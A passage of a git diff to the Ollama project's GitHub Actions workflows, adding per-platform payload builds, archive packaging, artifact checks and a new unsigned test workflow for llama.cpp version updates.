type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
environment: release
needs: setup-environment
needs: [setup-environment, linux-depends]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
steps:
@@ -489,9 +572,11 @@ jobs:
with:
context: .
platforms: ${{ matrix.os }}/${{ matrix.arch }}
provenance: false
sbom: false
build-args: ${{ matrix.build-args }}
outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
cache-from: ${{ matrix.cache-from }}
cache-to: type=inline
- run: |
mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
@@ -502,6 +587,64 @@ jobs:
name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
path: |
${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
- uses: docker/build-push-action@v6
with:
context: .
platforms: ${{ matrix.os }}/${{ matrix.arch }}
target: ${{ matrix.archive-target }}
provenance: false
sbom: false
build-args: ${{ matrix.build-args }}
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
cache-from: ${{ matrix.cache-from }}
- name: Deduplicate CUDA libraries
run: |
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
- name: Verify Linux build payloads
shell: bash
run: |
set -euo pipefail
base="dist/${{ matrix.os }}-${{ matrix.arch }}"
for payload in \
"$base/bin/ollama" \
"$base/lib/ollama/llama-server"
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- run: |
for COMPONENT in bin/* lib/ollama/*; do
case "$COMPONENT" in
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
lib/ollama/rocm_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
esac
done
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
- if: matrix.suffix == '-rocm'
run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
- run: |
echo "Manifests"
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
echo $ARCHIVE
cat $ARCHIVE
done
- run: |
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
done
wait
- uses: actions/upload-artifact@v4
with:
name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
path: |
*.tar.zst
# Merge Docker images for the same flavor into a single multi-arch manifest
docker-merge-push:
@@ -541,7 +684,7 @@ jobs:
release:
runs-on: ubuntu-latest
environment: release
needs: [darwin-build, windows-app, linux-build]
needs: [darwin-build, windows-app, docker-build-push]
permissions:
contents: write
env:
@@ -559,6 +702,21 @@ jobs:
- name: Copy install scripts to dist
run: |
cp scripts/install.sh dist/install.sh
- name: Verify release artifacts
run: |
required=(
dist/OllamaSetup.exe
dist/install.ps1
dist/install.sh
dist/ollama-windows-amd64.zip
dist/ollama-windows-arm64.zip
)
for payload in "${required[@]}"; do
if [ ! -f "$payload" ]; then
echo "::error::Missing expected release artifact: $payload"
exit 1
fi
done
- name: Generate checksum file
run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
working-directory: dist
+596
View File
@@ -0,0 +1,596 @@
name: test-llamacpp-update
# PR validation artifacts from this workflow are intentionally unsigned and not
# notarized. They are for llama.cpp update testing only and must not be
# published as release artifacts.
on:
pull_request:
paths:
- 'LLAMA_CPP_VERSION'
permissions:
contents: read
env:
CGO_CFLAGS: '-O3'
CGO_CXXFLAGS: '-O3'
jobs:
setup-environment:
runs-on: ubuntu-latest
outputs:
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
VERSION: ${{ steps.goflags.outputs.VERSION }}
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
steps:
- uses: actions/checkout@v4
- name: Set environment
id: goflags
shell: bash
run: |
set -euo pipefail
VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
{
echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
echo "VERSION=${VERSION}"
echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
} >>"${GITHUB_OUTPUT}"
darwin-build:
runs-on: macos-26-xlarge
needs: setup-environment
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- name: Build unsigned Darwin runtime
run: ./scripts/build_darwin.sh build package
- name: Log build results
run: ls -l dist/
- uses: actions/upload-artifact@v4
with:
name: ollama-darwin.tgz
path: dist/ollama-darwin.tgz
compression-level: 0
# Build payload export stages independently and combine the exported
# filesystem artifacts below. This preserves parallelism without Docker
# registry credentials or oversized GitHub layer caches.
linux-payloads:
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
needs: setup-environment
strategy:
fail-fast: false
matrix:
include:
- arch: amd64
target: publish-llama-server-cpu
payload: cpu
- arch: amd64
target: publish-llama-server-cuda_v12
payload: cuda_v12
- arch: amd64
target: publish-llama-server-cuda_v13
payload: cuda_v13
- arch: amd64
target: publish-llama-server-rocm_v7_2
payload: rocm_v7_2
- arch: amd64
target: publish-llama-server-vulkan
payload: vulkan
- arch: arm64
target: publish-llama-server-cpu
payload: cpu
- arch: arm64
target: publish-llama-server-cuda_v12
payload: cuda_v12
- arch: arm64
target: publish-llama-server-cuda_v13
payload: cuda_v13
- arch: arm64
target: publish-llama-server-cuda_jetpack5
payload: cuda_jetpack5
- arch: arm64
target: publish-llama-server-cuda_jetpack6
payload: cuda_jetpack6
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/build-push-action@v6
with:
context: .
platforms: linux/${{ matrix.arch }}
target: ${{ matrix.target }}
provenance: false
sbom: false
build-args: |
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
outputs: type=local,dest=${{ runner.temp }}/payload
- name: Pack Linux payload
shell: bash
run: |
set -euo pipefail
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
- uses: actions/upload-artifact@v4
with:
name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
compression-level: 0
linux-go:
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
needs: setup-environment
strategy:
fail-fast: false
matrix:
arch: [amd64, arm64]
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/build-push-action@v6
with:
context: .
platforms: linux/${{ matrix.arch }}
target: publish-go
provenance: false
sbom: false
build-args: |
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
outputs: type=local,dest=${{ runner.temp }}/payload
- name: Pack Linux Go payload
shell: bash
run: |
set -euo pipefail
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
- uses: actions/upload-artifact@v4
with:
name: linux-payload-${{ matrix.arch }}-go
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
compression-level: 0
# MLX payloads are intentionally excluded from this workflow; the Dockerfile
# still exposes publish-mlx for a separate MLX-specific workflow.
linux-bundles:
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
needs: [linux-payloads, linux-go]
strategy:
fail-fast: false
matrix:
arch: [amd64, arm64]
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
with:
pattern: linux-payload-${{ matrix.arch }}-*
path: ${{ runner.temp }}/payloads
merge-multiple: true
- name: Assemble Linux payload tree
shell: bash
run: |
set -euo pipefail
src="${{ runner.temp }}/payloads"
arch="${{ matrix.arch }}"
dest="dist/linux-${arch}"
copy_payload() {
local name="$1"
local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
if [ ! -f "${payload}" ]; then
echo "missing payload ${payload}"
exit 1
fi
zstd -d <"${payload}" | tar -C "${dest}" -xf -
}
mkdir -p "${dest}"
copy_payload go
copy_payload cpu
copy_payload cuda_v12
copy_payload cuda_v13
if [ "${arch}" = "amd64" ]; then
copy_payload vulkan
copy_payload rocm_v7_2
else
copy_payload cuda_jetpack5
copy_payload cuda_jetpack6
fi
./scripts/deduplicate_cuda_libs.sh "${dest}"
- name: Verify Linux build payloads
shell: bash
run: |
set -euo pipefail
base="dist/linux-${{ matrix.arch }}"
for payload in \
"${base}/bin/ollama" \
"${base}/lib/ollama/llama-server"
do
[ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
done
- name: Create archive input lists
shell: bash
run: |
set -euo pipefail
for COMPONENT in bin/* lib/ollama/*; do
case "${COMPONENT}" in
bin/ollama*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/*.so*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/vulkan*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/mlx*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/include*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
lib/ollama/rocm_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
esac
done
working-directory: dist/linux-${{ matrix.arch }}
- name: Log archive input lists
shell: bash
run: |
set -euo pipefail
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
echo "${ARCHIVE}"
cat "${ARCHIVE}"
done
- name: Create Linux archives
shell: bash
run: |
set -euo pipefail
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
done
wait
- uses: actions/upload-artifact@v4
with:
name: ollama-linux-${{ matrix.arch }}.tar.zst
path: ollama-linux-${{ matrix.arch }}.tar.zst
compression-level: 0
- if: matrix.arch == 'amd64'
uses: actions/upload-artifact@v4
with:
name: ollama-linux-amd64-rocm.tar.zst
path: ollama-linux-amd64-rocm.tar.zst
compression-level: 0
- if: matrix.arch == 'arm64'
uses: actions/upload-artifact@v4
with:
name: ollama-linux-arm64-jetpack5.tar.zst
path: ollama-linux-arm64-jetpack5.tar.zst
compression-level: 0
- if: matrix.arch == 'arm64'
uses: actions/upload-artifact@v4
with:
name: ollama-linux-arm64-jetpack6.tar.zst
path: ollama-linux-arm64-jetpack6.tar.zst
compression-level: 0
windows-depends:
needs: setup-environment
strategy:
fail-fast: false
matrix:
os: [windows]
arch: [amd64]
preset: ['CPU']
build-steps: ['cpu cpuArm64']
include:
- os: windows
arch: amd64
preset: 'CUDA 12'
build-steps: cuda12
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
cuda-components:
- '"cudart"'
- '"nvcc"'
- '"cublas"'
- '"cublas_dev"'
cuda-version: '12.8'
- os: windows
arch: amd64
preset: 'CUDA 13'
build-steps: cuda13
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cuda-components:
- '"cudart"'
- '"nvcc"'
- '"cublas"'
- '"cublas_dev"'
- '"crt"'
- '"nvvm"'
- '"nvptxcompiler"'
cuda-version: '13.0'
- os: windows
arch: amd64
preset: 'ROCm 7'
build-steps: rocm7
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
rocm-version: '7.1'
- os: windows
arch: amd64
preset: Vulkan
build-steps: vulkan
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- name: Install system dependencies
run: |
choco install -y --no-progress ccache ninja
if (Get-Command ccache -ErrorAction SilentlyContinue) {
ccache -o cache_dir=${{ github.workspace }}\.ccache
}
- if: matrix.preset == 'CPU'
name: Install Windows ARM64 cross compiler
run: |
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
id: cache-install
uses: actions/cache/restore@v4
with:
path: |
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
C:\Program Files\AMD\ROCm
C:\VulkanSDK
key: ${{ matrix.install }}
- if: startsWith(matrix.preset, 'CUDA ')
name: Install CUDA ${{ matrix.cuda-version }}
run: |
$ErrorActionPreference = "Stop"
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
$subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
}
$cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
- if: startsWith(matrix.preset, 'ROCm')
name: Install ROCm ${{ matrix.rocm-version }}
run: |
$ErrorActionPreference = "Stop"
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
}
$hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
- if: matrix.preset == 'Vulkan'
name: Install Vulkan
run: |
$ErrorActionPreference = "Stop"
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
}
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
if (Test-Path $vulkanRuntime) {
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
}
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
- if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
uses: actions/cache/save@v4
with:
path: |
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
C:\Program Files\AMD\ROCm
C:\VulkanSDK
key: ${{ matrix.install }}
- uses: actions/checkout@v4
- uses: actions/cache@v4
with:
path: ${{ github.workspace }}\.ccache
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
- name: Build Windows dependencies
run: |
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
./scripts/build_windows.ps1 @steps
env:
CMAKE_GENERATOR: Ninja
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- if: matrix.preset == 'CPU'
name: Verify Windows CPU payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- uses: actions/upload-artifact@v4
with:
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
path: dist\*
compression-level: 0
windows-build:
runs-on: windows
needs: setup-environment
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- name: Install clang and gcc-compat
run: |
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy Bypass -Scope Process -Force
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- name: Verify gcc is actually clang
run: |
$ErrorActionPreference='Continue'
$version=& gcc -v 2>&1
$version=$version -join "`n"
echo "gcc is $version"
if ($version -notmatch 'clang') {
echo "ERROR: GCC must be clang for proper utf16 handling"
exit 1
}
$ErrorActionPreference='Stop'
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
- name: Build Windows binaries and app launchers
run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
- name: Verify Windows build payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-arm64/ollama.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- uses: actions/upload-artifact@v4
with:
name: build-windows-amd64
path: dist\*
compression-level: 0
windows-package:
runs-on: windows
needs: [setup-environment, windows-build, windows-depends]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- uses: actions/download-artifact@v4
with:
pattern: depends-windows*
path: dist
merge-multiple: true
- uses: actions/download-artifact@v4
with:
pattern: build-windows*
path: dist
merge-multiple: true
- name: Copy unsigned install script
run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
- name: Log dist contents after download
run: gci -path .\dist -recurse
- name: Verify Windows package inputs
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/ollama.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- name: Build unsigned Windows installer and zips
run: ./scripts/build_windows.ps1 deps installer zip
- name: Log contents after build
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- name: Verify Windows package outputs
shell: bash
run: |
set -euo pipefail
for payload in \
dist/ollama-windows-amd64.zip \
dist/ollama-windows-arm64.zip \
dist/ollama-windows-amd64-rocm.zip \
dist/OllamaSetup.exe \
dist/install.ps1
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- uses: actions/upload-artifact@v4
with:
name: ollama-windows-amd64.zip
path: dist/ollama-windows-amd64.zip
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: ollama-windows-arm64.zip
path: dist/ollama-windows-arm64.zip
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: ollama-windows-amd64-rocm.zip
path: dist/ollama-windows-amd64-rocm.zip
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: OllamaSetup.exe
path: dist/OllamaSetup.exe
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: install.ps1
path: dist/install.ps1
compression-level: 0
+159 -37
View File
@@ -22,7 +22,8 @@ jobs:
runs-on: ubuntu-latest
outputs:
changed: ${{ steps.changes.outputs.changed }}
vendorsha: ${{ steps.changes.outputs.vendorsha }}
app_changed: ${{ steps.changes.outputs.app_changed }}
enginehash: ${{ steps.changes.outputs.enginehash }}
steps:
- uses: actions/checkout@v4
with:
@@ -37,8 +38,42 @@ jobs:
| xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
}
echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
echo changed=$(changed \
'CMakeLists.txt' \
'CMakePresets.json' \
'cmake/**' \
'cmake/**/*' \
'llama/server/**/*' \
'llama/compat/**/*' \
'LLAMA_CPP_VERSION' \
'MLX_VERSION' \
'MLX_C_VERSION' \
'llama/llama.cpp/**/*' \
'ml/backend/ggml/ggml/**/*' \
'x/imagegen/mlx/**' \
'x/imagegen/mlx/**/*' \
'.github/**/*') | tee -a $GITHUB_OUTPUT
echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
patches:
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- name: Verify patches apply cleanly
shell: bash
run: |
cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
-DCMAKE_BUILD_TYPE=Release \
-DBUILD_SHARED_LIBS=ON \
-DGGML_BACKEND_DL=ON \
-DGGML_NATIVE=OFF \
-DGGML_OPENMP=OFF \
-DGGML_CPU_ALL_VARIANTS=ON \
-DOLLAMA_RUNNER_DIR=
linux:
needs: [changes]
@@ -47,23 +82,41 @@ jobs:
matrix:
include:
- preset: CPU
superbuild_target: ollama-local
superbuild_dir: build/local-superbuild
superbuild_args: ''
expected_payload: lib/ollama/llama-server
install-go: true
- preset: CUDA
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
superbuild_target: ollama-llama-server-cuda_v13
superbuild_dir: build/local-superbuild-cuda_v13
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
- preset: ROCm
container: rocm/dev-ubuntu-22.04:7.2.1
extra-packages: rocm-libs
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
superbuild_target: ollama-llama-server-rocm_v7_2
superbuild_dir: build/local-superbuild-rocm_v7_2
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
- preset: Vulkan
container: ubuntu:22.04
extra-packages: >
mesa-vulkan-drivers vulkan-tools
libvulkan1 libvulkan-dev
vulkan-sdk cmake ccache g++ make
vulkan-sdk spirv-headers cmake ccache g++ make
superbuild_target: ollama-llama-server-vulkan
superbuild_dir: build/local-superbuild-vulkan
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
expected_payload: lib/ollama/vulkan/libggml-vulkan.so
- preset: 'MLX CUDA 13'
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
superbuild_target: ollama-mlx-cuda_v13
superbuild_dir: build/local-superbuild-mlx-cuda_v13
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
install-go: true
runs-on: linux
container: ${{ matrix.container }}
@@ -80,11 +133,9 @@ jobs:
echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg] https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
$sudo apt-get update
fi
$sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
# MLX requires CMake 3.25+, install from official releases
if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
